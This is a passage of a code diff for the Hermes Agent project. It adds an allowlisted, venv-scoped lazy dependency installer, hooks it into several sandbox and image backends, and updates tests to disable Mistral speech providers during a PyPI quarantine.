def test_unknown_feature_returns_false(self):
|
||||
assert ld.is_available("not.a.thing") is False
|
||||
|
||||
def test_satisfied_returns_true(self, monkeypatch):
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.avail", ("zzzfake>=1",))
|
||||
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
|
||||
assert ld.is_available("test.avail") is True
|
||||
|
||||
def test_missing_returns_false(self, monkeypatch):
|
||||
monkeypatch.setitem(ld.LAZY_DEPS, "test.miss", ("zzzfake>=1",))
|
||||
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
|
||||
assert ld.is_available("test.miss") is False
|
||||
@@ -69,6 +69,12 @@ class TestProviderSelectionGate:
|
||||
assert tt._get_provider({"enabled": True, "provider": "groq"}) == "groq"
|
||||
|
||||
def test_explicit_mistral_sees_dotenv(self):
|
||||
"""Mistral STT is intentionally disabled (PyPI quarantine 2026-05-12).
|
||||
|
||||
Even with the dotenv key visible, explicit `provider: mistral` must
|
||||
return "none" with a warning. Restore the previous behavior once
|
||||
`mistralai` is un-quarantined on PyPI.
|
||||
"""
|
||||
from tools import transcription_tools as tt
|
||||
|
||||
with patch.object(tt, "_HAS_FASTER_WHISPER", False), \
|
||||
@@ -76,7 +82,7 @@ class TestProviderSelectionGate:
|
||||
patch.object(tt, "_has_local_command", return_value=False), \
|
||||
patch("hermes_cli.config.load_env",
|
||||
return_value={"MISTRAL_API_KEY": "dotenv-secret"}):
|
||||
assert tt._get_provider({"enabled": True, "provider": "mistral"}) == "mistral"
|
||||
assert tt._get_provider({"enabled": True, "provider": "mistral"}) == "none"
|
||||
|
||||
def test_explicit_xai_sees_dotenv(self):
|
||||
from tools import transcription_tools as tt
|
||||
|
||||
@@ -978,16 +978,23 @@ class TestTranscribeMistral:
|
||||
# ============================================================================
|
||||
|
||||
class TestGetProviderMistral:
|
||||
"""Mistral-specific provider selection tests."""
|
||||
"""Mistral-specific provider selection tests.
|
||||
|
||||
Mistral STT is intentionally disabled in 2026-05-12+ while the
|
||||
`mistralai` PyPI package is quarantined. These tests document that
|
||||
explicit `provider: mistral` always returns "none" with a warning, and
|
||||
that auto-detect skips mistral entirely.
|
||||
"""
|
||||
|
||||
def test_mistral_when_key_and_sdk_available(self, monkeypatch):
|
||||
"""Even with key + SDK, explicit mistral returns 'none' (disabled)."""
|
||||
monkeypatch.setenv("MISTRAL_API_KEY", "test-key")
|
||||
with patch("tools.transcription_tools._HAS_MISTRAL", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({"provider": "mistral"}) == "mistral"
|
||||
assert _get_provider({"provider": "mistral"}) == "none"
|
||||
|
||||
def test_mistral_explicit_no_key_returns_none(self, monkeypatch):
|
||||
"""Explicit mistral with no key returns none — no cross-provider fallback."""
|
||||
"""Explicit mistral with no key returns none."""
|
||||
monkeypatch.delenv("MISTRAL_API_KEY", raising=False)
|
||||
with patch("tools.transcription_tools._HAS_MISTRAL", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
@@ -1000,18 +1007,23 @@ class TestGetProviderMistral:
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({"provider": "mistral"}) == "none"
|
||||
|
||||
def test_auto_detect_mistral_after_openai(self, monkeypatch):
|
||||
"""Auto-detect: mistral is tried after openai when both are unavailable."""
|
||||
def test_auto_detect_skips_mistral(self, monkeypatch):
|
||||
"""Auto-detect intentionally skips mistral (quarantine workaround).
|
||||
|
||||
With no other provider available but MISTRAL_API_KEY set, the result
|
||||
must be 'none' — mistral is no longer in the auto-detect chain.
|
||||
"""
|
||||
monkeypatch.delenv("GROQ_API_KEY", raising=False)
|
||||
monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False)
|
||||
monkeypatch.delenv("OPENAI_API_KEY", raising=False)
|
||||
monkeypatch.delenv("XAI_API_KEY", raising=False)
|
||||
monkeypatch.setenv("MISTRAL_API_KEY", "test-key")
|
||||
with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \
|
||||
patch("tools.transcription_tools._has_local_command", return_value=False), \
|
||||
patch("tools.transcription_tools._HAS_OPENAI", False), \
|
||||
patch("tools.transcription_tools._HAS_MISTRAL", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({}) == "mistral"
|
||||
assert _get_provider({}) == "none"
|
||||
|
||||
def test_auto_detect_openai_preferred_over_mistral(self, monkeypatch):
|
||||
"""Auto-detect: openai is preferred over mistral (both paid, openai more common)."""
|
||||
@@ -1285,8 +1297,13 @@ class TestGetProviderXAI:
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({}) == "xai"
|
||||
|
||||
def test_auto_detect_mistral_preferred_over_xai(self, monkeypatch):
|
||||
"""Auto-detect: mistral is preferred over xai."""
|
||||
def test_auto_detect_mistral_skipped_xai_wins(self, monkeypatch):
|
||||
"""Auto-detect skips mistral entirely (quarantine) — xai wins.
|
||||
|
||||
Even with MISTRAL_API_KEY set, mistral is no longer in the
|
||||
auto-detect chain. xai is the next-best fallback when the
|
||||
local/groq/openai chain is unavailable.
|
||||
"""
|
||||
monkeypatch.setenv("MISTRAL_API_KEY", "test-key")
|
||||
monkeypatch.setenv("XAI_API_KEY", "xai-test")
|
||||
monkeypatch.delenv("GROQ_API_KEY", raising=False)
|
||||
@@ -1297,7 +1314,7 @@ class TestGetProviderXAI:
|
||||
patch("tools.transcription_tools._HAS_OPENAI", False), \
|
||||
patch("tools.transcription_tools._HAS_MISTRAL", True):
|
||||
from tools.transcription_tools import _get_provider
|
||||
assert _get_provider({}) == "mistral"
|
||||
assert _get_provider({}) == "xai"
|
||||
|
||||
def test_auto_detect_no_key_returns_none(self, monkeypatch):
|
||||
"""Auto-detect: xai skipped when no key is set."""
|
||||
|
||||
@@ -162,27 +162,34 @@ class TestGenerateMistralTts:
|
||||
|
||||
|
||||
class TestTtsDispatcherMistral:
|
||||
def test_dispatcher_routes_to_mistral(
|
||||
def test_dispatcher_returns_disabled_error(
|
||||
self, tmp_path, mock_mistral_module, monkeypatch
|
||||
):
|
||||
"""Mistral TTS is intentionally disabled (PyPI quarantine 2026-05-12).
|
||||
|
||||
The dispatcher must short-circuit with a clear status message before
|
||||
attempting any SDK import, even when MISTRAL_API_KEY is set and a
|
||||
mock SDK is wired in. Restore routing once `mistralai` is
|
||||
un-quarantined on PyPI.
|
||||
"""
|
||||
import json
|
||||
|
||||
from tools.tts_tool import text_to_speech_tool
|
||||
|
||||
monkeypatch.setenv("MISTRAL_API_KEY", "test-key")
|
||||
mock_mistral_module.audio.speech.complete.return_value = MagicMock(
|
||||
audio_data=base64.b64encode(b"audio").decode()
|
||||
)
|
||||
|
||||
output_path = str(tmp_path / "out.mp3")
|
||||
with patch("tools.tts_tool._load_tts_config", return_value={"provider": "mistral"}):
|
||||
result = json.loads(text_to_speech_tool("Hello", output_path=output_path))
|
||||
|
||||
assert result["success"] is True
|
||||
assert result["provider"] == "mistral"
|
||||
mock_mistral_module.audio.speech.complete.assert_called_once()
|
||||
assert result["success"] is False
|
||||
assert "temporarily disabled" in result["error"]
|
||||
assert "quarantined" in result["error"]
|
||||
# SDK must not have been called.
|
||||
mock_mistral_module.audio.speech.complete.assert_not_called()
|
||||
|
||||
def test_dispatcher_returns_error_when_sdk_not_installed(self, tmp_path, monkeypatch):
|
||||
"""Same disabled message regardless of SDK presence."""
|
||||
import json
|
||||
|
||||
from tools.tts_tool import text_to_speech_tool
|
||||
@@ -196,7 +203,7 @@ class TestTtsDispatcherMistral:
|
||||
)
|
||||
|
||||
assert result["success"] is False
|
||||
assert "mistralai" in result["error"]
|
||||
assert "temporarily disabled" in result["error"]
|
||||
|
||||
|
||||
class TestCheckTtsRequirementsMistral:
|
||||
|
||||
@@ -420,12 +420,21 @@ class TestTzdataDependencyDeclared:
|
||||
root = Path(__file__).resolve().parents[2]
|
||||
source = (root / "pyproject.toml").read_text(encoding="utf-8")
|
||||
# The dependency line should be conditional on sys_platform == 'win32'
|
||||
# and should NOT be in the core dependencies for Linux/macOS.
|
||||
assert (
|
||||
'tzdata>=2023.3; sys_platform == \'win32\'' in source
|
||||
or "tzdata>=2023.3; sys_platform == 'win32'" in source
|
||||
or 'tzdata>=2023.3; sys_platform == "win32"' in source
|
||||
), "tzdata must be a Windows-only dep in pyproject.toml dependencies"
|
||||
# and should NOT be in the core dependencies for Linux/macOS. We do
|
||||
# not care about the exact pinned version (which is bumped over time)
|
||||
# — only that tzdata is declared with a win32 marker. This is an
|
||||
# invariant check, not a snapshot test.
|
||||
import re
|
||||
# Match `"tzdata` … `; sys_platform == 'win32'"` allowing any version
|
||||
# specifier in between (==X.Y.Z, >=X.Y.Z,<W, etc.) and either quote
|
||||
# style on the marker.
|
||||
pattern = re.compile(
|
||||
r'"tzdata[^"]*;\s*sys_platform\s*==\s*[\'"]win32[\'"]\s*"'
|
||||
)
|
||||
assert pattern.search(source), (
|
||||
"tzdata must be a Windows-only dep in pyproject.toml dependencies "
|
||||
"(declared with a `; sys_platform == 'win32'` marker)"
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@@ -51,6 +51,13 @@ class DaytonaEnvironment(BaseEnvironment):
|
||||
requested_cwd = cwd
|
||||
super().__init__(cwd=cwd, timeout=timeout)
|
||||
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("terminal.daytona", prompt=False)
|
||||
except ImportError:
|
||||
pass
|
||||
except Exception as e:
|
||||
raise ImportError(str(e))
|
||||
from daytona import (
|
||||
Daytona,
|
||||
CreateSandboxFromImageParams,
|
||||
|
||||
@@ -80,11 +80,23 @@ def _delete_direct_snapshot(task_id: str, snapshot_id: str | None = None) -> Non
|
||||
_save_snapshots(snapshots)
|
||||
|
||||
|
||||
def _ensure_modal_sdk() -> None:
|
||||
"""Lazy-install modal on demand. Idempotent — fast no-op once installed."""
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("terminal.modal", prompt=False)
|
||||
except ImportError:
|
||||
pass
|
||||
except Exception as e:
|
||||
raise ImportError(str(e))
|
||||
|
||||
|
||||
def _resolve_modal_image(image_spec: Any) -> Any:
|
||||
"""Convert registry references or snapshot ids into Modal image objects.
|
||||
|
||||
Includes add_python support for ubuntu/debian images (absorbed from PR 4511).
|
||||
"""
|
||||
_ensure_modal_sdk()
|
||||
import modal as _modal
|
||||
|
||||
if not isinstance(image_spec, str):
|
||||
@@ -183,6 +195,7 @@ class ModalEnvironment(BaseEnvironment):
|
||||
if restored_snapshot_id:
|
||||
logger.info("Modal: restoring from snapshot %s", restored_snapshot_id[:20])
|
||||
|
||||
_ensure_modal_sdk()
|
||||
import modal as _modal
|
||||
|
||||
cred_mounts = []
|
||||
|
||||
@@ -42,6 +42,19 @@ if TYPE_CHECKING:
|
||||
|
||||
DEFAULT_VERCEL_CWD = "/vercel/sandbox"
|
||||
_DEFAULT_CONTAINER_DISK_MB = 51200
|
||||
|
||||
|
||||
def _ensure_vercel_sdk() -> None:
|
||||
"""Lazy-install vercel SDK on demand. Idempotent."""
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("terminal.vercel", prompt=False)
|
||||
except ImportError:
|
||||
pass
|
||||
except Exception as e:
|
||||
raise ImportError(str(e))
|
||||
|
||||
|
||||
_CREATE_RETRY_ATTEMPTS = 3
|
||||
_WRITE_RETRY_ATTEMPTS = 3
|
||||
_TRANSIENT_STATUS_CODES = frozenset({408, 425, 429, 500, 502, 503, 504})
|
||||
@@ -194,6 +207,7 @@ def _extract_snapshot_id(snapshot: Any) -> str | None:
|
||||
|
||||
@cache
|
||||
def _sandbox_status_type() -> type[SandboxStatus]:
|
||||
_ensure_vercel_sdk()
|
||||
from vercel.sandbox import SandboxStatus
|
||||
|
||||
return SandboxStatus
|
||||
@@ -260,6 +274,7 @@ class VercelSandboxEnvironment(BaseEnvironment):
|
||||
"Use the default shared setting."
|
||||
)
|
||||
|
||||
_ensure_vercel_sdk()
|
||||
from vercel.sandbox import Resources
|
||||
|
||||
sandbox_timeout = max(
|
||||
@@ -281,6 +296,7 @@ class VercelSandboxEnvironment(BaseEnvironment):
|
||||
)
|
||||
|
||||
def _create_sandbox(self) -> Sandbox:
|
||||
_ensure_vercel_sdk()
|
||||
from vercel.sandbox import Sandbox
|
||||
|
||||
snapshot_id = _get_snapshot_id(self._task_id) if self._persistent else None
|
||||
|
||||
@@ -52,6 +52,13 @@ def _load_fal_client() -> Any:
|
||||
global fal_client
|
||||
if fal_client is not None:
|
||||
return fal_client
|
||||
try:
|
||||
from tools.lazy_deps import ensure as _lazy_ensure
|
||||
_lazy_ensure("image.fal", prompt=False)
|
||||
except ImportError:
|
||||
pass
|
||||
except Exception as e:
|
||||
raise ImportError(str(e))
|
||||
import fal_client as _fal_client # noqa: F811 — module-global rebind
|
||||
fal_client = _fal_client
|
||||
return fal_client
|
||||
|
||||
@@ -0,0 +1,441 @@
|
||||
"""
|
||||
Lazy dependency installer for opt-in Hermes Agent backends.
|
||||
|
||||
Many Hermes features (Mistral TTS, ElevenLabs TTS, Honcho memory, Bedrock,
|
||||
Slack, Matrix, etc.) require Python packages that not every user needs. The
|
||||
historical approach was to bundle them all under ``pyproject.toml`` extras
|
||||
(``hermes-agent[all]``) and install them eagerly at setup time. That has
|
||||
two problems:
|
||||
|
||||
1. **Fragility.** When one extra's transitive dependency becomes
|
||||
unavailable on PyPI (quarantined for malware, yanked, broken upload),
|
||||
the *entire* ``[all]`` resolve fails and fresh installs silently fall
|
||||
back to a stripped tier — losing 10+ unrelated extras at once.
|
||||
|
||||
2. **Bloat.** A user who only ever talks to one provider pulls hundreds
|
||||
of packages they will never import.
|
||||
|
||||
The lazy-install pattern fixes both. Backends call :func:`ensure` at the
|
||||
top of their first-import path. If the deps are missing, ``ensure`` checks
|
||||
the ``security.allow_lazy_installs`` config flag (default true) and runs
|
||||
a venv-scoped pip install. If the user has explicitly disabled lazy
|
||||
installs, ``ensure`` raises :class:`FeatureUnavailable` with a clear
|
||||
remediation hint pointing at ``hermes tools`` or the manual pip command.
|
||||
|
||||
Security model:
|
||||
|
||||
* **Venv-scoped only.** Installs target ``sys.executable`` in the active
|
||||
venv. We never touch the system Python.
|
||||
* **PyPI by package name only.** Specs may be ``"package>=1.0,<2"`` etc.
|
||||
We do NOT support ``--index-url`` overrides, ``git+https://``, file:
|
||||
paths, or any other input that could be hijacked by a malicious config.
|
||||
* **Allowlist.** Only specs that appear in :data:`LAZY_DEPS` can be
|
||||
installed via this path. A typo in feature name doesn't get the user
|
||||
install-anything semantics.
|
||||
* **Opt-out.** Setting ``security.allow_lazy_installs: false`` in
|
||||
``config.yaml`` disables runtime installs. Users in restricted networks
|
||||
or strict security postures can pin themselves to whatever was installed
|
||||
at setup time.
|
||||
* **Offline detection.** If the install fails (offline, mirror down,
|
||||
PyPI 404 / quarantine), we surface the failure as
|
||||
:class:`FeatureUnavailable` with the actual pip stderr — no silent
|
||||
retries, no caching of bad state.
|
||||
|
||||
Adding a new backend:
|
||||
|
||||
1. Add an entry to :data:`LAZY_DEPS` with the package specs.
|
||||
2. At the top of the backend module's import path, call
|
||||
``ensure("feature.name")`` inside a try/except that converts
|
||||
:class:`FeatureUnavailable` to a useful runtime error.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Allowlist of lazy-installable backends.
|
||||
#
|
||||
# Keys are dot-separated feature names ("namespace.backend"). Values are
|
||||
# tuples of pip-installable specs that match the corresponding extra in
|
||||
# pyproject.toml. The framework enforces that only specs from this map
|
||||
# can flow into the pip install command.
|
||||
# =============================================================================
|
||||
|
||||
|
||||
LAZY_DEPS: dict[str, tuple[str, ...]] = {
|
||||
# ─── Inference providers ───────────────────────────────────────────────
|
||||
# Native Anthropic SDK — needed when provider=anthropic (not via
|
||||
# OpenRouter / aggregators which use the openai SDK).
|
||||
"provider.anthropic": ("anthropic==0.86.0",),
|
||||
# AWS Bedrock provider
|
||||
"provider.bedrock": ("boto3==1.42.89",),
|
||||
|
||||
# ─── Web search backends ───────────────────────────────────────────────
|
||||
"search.exa": ("exa-py==2.10.2",),
|
||||
"search.firecrawl": ("firecrawl-py==4.17.0",),
|
||||
"search.parallel": ("parallel-web==0.4.2",),
|
||||
|
||||
# ─── TTS providers ─────────────────────────────────────────────────────
|
||||
# Pinned to exact versions to match pyproject.toml's no-ranges policy
|
||||
# (see comment at top of [project.dependencies]). When bumping, update
|
||||
# both this map AND the corresponding extra in pyproject.toml.
|
||||
#
|
||||
# NOTE: tts.mistral / stt.mistral entries are intentionally absent —
|
||||
# the `mistralai` PyPI project is quarantined as of 2026-05-12 (Mini
|
||||
# Shai-Hulud worm). Re-add when PyPI restores a clean release; see
|
||||
# comment in pyproject.toml above the (removed) `mistral` extra for
|
||||
# the full restoration checklist.
|
||||
"tts.edge": ("edge-tts==7.2.7",),
|
||||
"tts.elevenlabs": ("elevenlabs==1.59.0",),
|
||||
|
||||
# ─── Speech-to-text providers ──────────────────────────────────────────
|
||||
"stt.faster_whisper": (
|
||||
"faster-whisper==1.2.1",
|
||||
"sounddevice==0.5.5",
|
||||
"numpy==2.4.3",
|
||||
),
|
||||
|
||||
# ─── Image generation backends ─────────────────────────────────────────
|
||||
"image.fal": ("fal-client==0.13.1",),
|
||||
|
||||
# ─── Memory providers ──────────────────────────────────────────────────
|
||||
"memory.honcho": ("honcho-ai==2.0.1",),
|
||||
"memory.hindsight": ("hindsight-client==0.6.1",),
|
||||
|
||||
# ─── Messaging platforms (lazy-installable on demand) ──────────────────
|
||||
"platform.telegram": ("python-telegram-bot[webhooks]==22.6",),
|
||||
"platform.discord": ("discord.py[voice]==2.7.1",),
|
||||
"platform.slack": (
|
||||
"slack-bolt==1.27.0",
|
||||
"slack-sdk==3.40.1",
|
||||
),
|
||||
"platform.matrix": (
|
||||
"mautrix[encryption]==0.21.0",
|
||||
"Markdown==3.10.2",
|
||||
"aiosqlite==0.22.1",
|
||||
"asyncpg==0.31.0",
|
||||
"aiohttp-socks==0.11.0",
|
||||
),
|
||||
"platform.dingtalk": (
|
||||
"dingtalk-stream==0.24.3",
|
||||
"alibabacloud-dingtalk==2.2.42",
|
||||
"qrcode==7.4.2",
|
||||
),
|
||||
"platform.feishu": (
|
||||
"lark-oapi==1.5.3",
|
||||
"qrcode==7.4.2",
|
||||
),
|
||||
|
||||
# ─── Terminal backends ─────────────────────────────────────────────────
|
||||
"terminal.modal": ("modal==1.3.4",),
|
||||
"terminal.daytona": ("daytona==0.155.0",),
|
||||
"terminal.vercel": ("vercel==0.5.7",),
|
||||
|
||||
# ─── Skills ────────────────────────────────────────────────────────────
|
||||
"skill.google_workspace": (
|
||||
"google-api-python-client==2.194.0",
|
||||
"google-auth-oauthlib==1.3.1",
|
||||
"google-auth-httplib2==0.3.1",
|
||||
),
|
||||
"skill.youtube": ("youtube-transcript-api==1.2.4",),
|
||||
|
||||
# ─── Tools ─────────────────────────────────────────────────────────────
|
||||
# ACP adapter (VS Code / Zed / JetBrains integration)
|
||||
"tool.acp": ("agent-client-protocol==0.9.0",),
|
||||
# Dashboard (`hermes dashboard`)
|
||||
"tool.dashboard": (
|
||||
"fastapi==0.133.1",
|
||||
"uvicorn[standard]==0.41.0",
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
# Conservative regex for spec validation — package name plus optional
|
||||
# version range. Reject anything that looks like a URL, file path, or shell
|
||||
# metacharacter.
|
||||
_SAFE_SPEC = re.compile(
|
||||
r"^[A-Za-z0-9_][A-Za-z0-9_.\-]*" # package name
|
||||
r"(?:\[[A-Za-z0-9_,\-]+\])?" # optional [extras]
|
||||
r"(?:[<>=!~]=?[A-Za-z0-9_.\-+,*<>=!~]+)?" # optional version specifier
|
||||
r"$"
|
||||
)
|
||||
|
||||
|
||||
class FeatureUnavailable(RuntimeError):
|
||||
"""A lazily-installable feature is missing and cannot be made available.
|
||||
|
||||
Either the deps were never installed and the user has disabled lazy
|
||||
installs, or the install attempt failed.
|
||||
"""
|
||||
|
||||
def __init__(self, feature: str, missing: tuple[str, ...], reason: str):
|
||||
self.feature = feature
|
||||
self.missing = missing
|
||||
self.reason = reason
|
||||
super().__init__(self._format())
|
||||
|
||||
def _format(self) -> str:
|
||||
spec_list = " ".join(repr(s) for s in self.missing)
|
||||
return (
|
||||
f"Feature {self.feature!r} unavailable: {self.reason}. "
|
||||
f"To enable manually: uv pip install {spec_list} "
|
||||
f"(or: pip install {spec_list})."
|
||||
)
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class _InstallResult:
|
||||
success: bool
|
||||
stdout: str
|
||||
stderr: str
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Internals
|
||||
# =============================================================================
|
||||
|
||||
|
||||
def _allow_lazy_installs() -> bool:
|
||||
"""Return the ``security.allow_lazy_installs`` config flag.
|
||||
|
||||
Defaults to True. If config is unreadable we fail open (allow), because
|
||||
refusing to install would lock people out of their own backends; the
|
||||
decision to block is an explicit user opt-in.
|
||||
"""
|
||||
if os.environ.get("HERMES_DISABLE_LAZY_INSTALLS") == "1":
|
||||
return False
|
||||
try:
|
||||
from hermes_cli.config import load_config
|
||||
cfg = load_config()
|
||||
except Exception:
|
||||
return True
|
||||
sec = cfg.get("security") or {}
|
||||
val = sec.get("allow_lazy_installs", True)
|
||||
return bool(val)
|
||||
|
||||
|
||||
def _spec_is_safe(spec: str) -> bool:
|
||||
"""Reject pip specs that contain URLs, paths, or shell metacharacters."""
|
||||
if not spec or len(spec) > 200:
|
||||
return False
|
||||
if any(ch in spec for ch in (";", "|", "&", "`", "$", "\n", "\r", "\t", "\\")):
|
||||
return False
|
||||
if spec.startswith(("-", "/", ".")) or "://" in spec or "@" in spec:
|
||||
return False
|
||||
return bool(_SAFE_SPEC.match(spec))
|
||||
|
||||
|
||||
def _pkg_name_from_spec(spec: str) -> str:
|
||||
"""Extract the bare package name from a pip spec.
|
||||
|
||||
``"slack-bolt>=1.18.0,<2"`` → ``"slack-bolt"``
|
||||
``"mautrix[encryption]>=0.20"`` → ``"mautrix"``
|
||||
"""
|
||||
m = re.match(r"^([A-Za-z0-9_][A-Za-z0-9_.\-]*)", spec)
|
||||
return m.group(1) if m else spec
|
||||
|
||||
|
||||
def _is_satisfied(spec: str) -> bool:
|
||||
"""Best-effort check: is ``spec`` already satisfied in the current env?
|
||||
|
||||
We don't enforce the version range — if the package is importable
|
||||
we assume the user knows what they're doing. This matches how the
|
||||
lazy-import sites already behave.
|
||||
"""
|
||||
pkg = _pkg_name_from_spec(spec)
|
||||
try:
|
||||
from importlib.metadata import PackageNotFoundError, version
|
||||
except ImportError:
|
||||
return False
|
||||
try:
|
||||
version(pkg)
|
||||
return True
|
||||
except PackageNotFoundError:
|
||||
return False
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def _venv_pip_install(specs: tuple[str, ...], *, timeout: int = 300) -> _InstallResult:
|
||||
"""Install ``specs`` into the active venv using uv → pip → ensurepip ladder.
|
||||
|
||||
Mirrors the strategy in ``hermes_cli.tools_config._pip_install`` but
|
||||
kept independent here so this module has no CLI dependency.
|
||||
"""
|
||||
if not specs:
|
||||
return _InstallResult(True, "", "")
|
||||
|
||||
venv_root = Path(sys.executable).parent.parent
|
||||
uv_env = {**os.environ, "VIRTUAL_ENV": str(venv_root)}
|
||||
|
||||
# Tier 1: uv (preferred — fast, doesn't need pip in the venv)
|
||||
uv_bin = shutil.which("uv")
|
||||
if uv_bin:
|
||||
try:
|
||||
r = subprocess.run(
|
||||
[uv_bin, "pip", "install", *specs],
|
||||
capture_output=True, text=True, timeout=timeout, env=uv_env,
|
||||
)
|
||||
if r.returncode == 0:
|
||||
return _InstallResult(True, r.stdout or "", r.stderr or "")
|
||||
logger.debug("uv pip install failed: %s", r.stderr)
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError) as e:
|
||||
logger.debug("uv invocation failed: %s", e)
|
||||
|
||||
# Tier 2: python -m pip (with ensurepip bootstrap if needed)
|
||||
pip_cmd = [sys.executable, "-m", "pip"]
|
||||
try:
|
||||
probe = subprocess.run(
|
||||
pip_cmd + ["--version"],
|
||||
capture_output=True, text=True, timeout=15,
|
||||
)
|
||||
if probe.returncode != 0:
|
||||
raise FileNotFoundError("pip not in venv")
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
try:
|
||||
subprocess.run(
|
||||
[sys.executable, "-m", "ensurepip", "--upgrade", "--default-pip"],
|
||||
capture_output=True, text=True, timeout=120, check=True,
|
||||
)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as e:
|
||||
return _InstallResult(False, "",
|
||||
f"pip not available and ensurepip failed: {e}")
|
||||
|
||||
try:
|
||||
r = subprocess.run(
|
||||
pip_cmd + ["install", *specs],
|
||||
capture_output=True, text=True, timeout=timeout,
|
||||
)
|
||||
return _InstallResult(r.returncode == 0, r.stdout or "", r.stderr or "")
|
||||
except subprocess.TimeoutExpired as e:
|
||||
return _InstallResult(False, "", f"pip install timed out: {e}")
|
||||
except Exception as e:
|
||||
return _InstallResult(False, "", f"pip install failed: {e}")
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# Public API
|
||||
# =============================================================================
|
||||
|
||||
|
||||
def feature_specs(feature: str) -> tuple[str, ...]:
|
||||
"""Return the registered specs for a feature, or raise KeyError."""
|
||||
if feature not in LAZY_DEPS:
|
||||
raise KeyError(f"Unknown lazy feature: {feature!r}")
|
||||
return LAZY_DEPS[feature]
|
||||
|
||||
|
||||
def feature_missing(feature: str) -> tuple[str, ...]:
|
||||
"""Return the subset of specs for ``feature`` not currently installed."""
|
||||
return tuple(s for s in feature_specs(feature) if not _is_satisfied(s))
|
||||
|
||||
|
||||
def ensure(feature: str, *, prompt: bool = True) -> None:
|
||||
"""Make sure all packages for ``feature`` are importable.
|
||||
|
||||
If they're missing, attempts to install them in the active venv. Raises
|
||||
:class:`FeatureUnavailable` if the user has disabled lazy installs or
|
||||
if the install attempt fails.
|
||||
|
||||
``prompt``: when True (default) and stdin is a TTY, asks the user to
|
||||
confirm before installing. Non-interactive callers (gateway, cron,
|
||||
batch) get prompt=False and skip the confirmation — config flag is
|
||||
the gate in that case.
|
||||
"""
|
||||
if feature not in LAZY_DEPS:
|
||||
raise FeatureUnavailable(
|
||||
feature, (), f"feature {feature!r} not in LAZY_DEPS allowlist"
|
||||
)
|
||||
|
||||
missing = feature_missing(feature)
|
||||
if not missing:
|
||||
return
|
||||
|
||||
# Validate every spec against the allowlist + safety regex. Belt and
|
||||
# braces — the keys-in-LAZY_DEPS check above already constrains this.
|
||||
for spec in missing:
|
||||
if not _spec_is_safe(spec):
|
||||
raise FeatureUnavailable(
|
||||
feature, missing,
|
||||
f"refusing to install unsafe spec {spec!r}"
|
||||
)
|
||||
|
||||
if not _allow_lazy_installs():
|
||||
raise FeatureUnavailable(
|
||||
feature, missing,
|
||||
"lazy installs disabled (security.allow_lazy_installs=false)"
|
||||
)
|
||||
|
||||
if prompt and sys.stdin.isatty() and sys.stdout.isatty():
|
||||
spec_list = ", ".join(missing)
|
||||
try:
|
||||
answer = input(
|
||||
f"\nFeature {feature!r} requires: {spec_list}\n"
|
||||
f"Install into the active venv now? [Y/n] "
|
||||
).strip().lower()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
answer = "n"
|
||||
if answer and answer not in ("y", "yes"):
|
||||
raise FeatureUnavailable(
|
||||
feature, missing, "user declined install at prompt"
|
||||
)
|
||||
|
||||
logger.info("Lazy-installing %s for feature %r", " ".join(missing), feature)
|
||||
result = _venv_pip_install(missing)
|
||||
if not result.success:
|
||||
# Surface the actual pip error so the user can debug PyPI-side
|
||||
# issues (404 quarantine, network down, etc.).
|
||||
snippet = (result.stderr or result.stdout or "").strip()
|
||||
if snippet:
|
||||
# Clip to a readable size — pip can dump pages of resolution traces.
|
||||
snippet = snippet[-2000:]
|
||||
raise FeatureUnavailable(
|
||||
feature, missing,
|
||||
f"pip install failed: {snippet or 'no error output'}"
|
||||
)
|
||||
|
||||
# Verify post-install. importlib.metadata caches per-process, so if we
|
||||
# just installed something the cache may not see it without a refresh.
|
||||
try:
|
||||
import importlib.metadata as _md
|
||||
if hasattr(_md, "_cache_clear"):
|
||||
_md._cache_clear() # type: ignore[attr-defined]
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
still_missing = feature_missing(feature)
|
||||
if still_missing:
|
||||
raise FeatureUnavailable(
|
||||
feature, still_missing,
|
||||
"install reported success but packages still not importable "
|
||||
"(may require Python restart)"
|
||||
)
|
||||
|
||||
logger.info("Lazy install complete for feature %r", feature)
|
||||
|
||||
|
||||
def is_available(feature: str) -> bool:
|
||||
"""Return True if the feature's deps are already satisfied."""
|
||||
if feature not in LAZY_DEPS:
|
||||
return False
|
||||
return not feature_missing(feature)
|
||||
|
||||
|
||||
def feature_install_command(feature: str) -> Optional[str]:
|
||||
"""Return the ``pip install`` command a user could run manually, or None."""
|
||||
if feature not in LAZY_DEPS:
|
||||
return None
|
||||
specs = LAZY_DEPS[feature]
|
||||
return "uv pip install " + " ".join(repr(s) for s in specs)
|
||||
@@ -252,11 +252,16 @@ def _get_provider(stt_config: dict) -> str:
|
||||
return "none"
|
||||
|
||||
if provider == "mistral":
|
||||
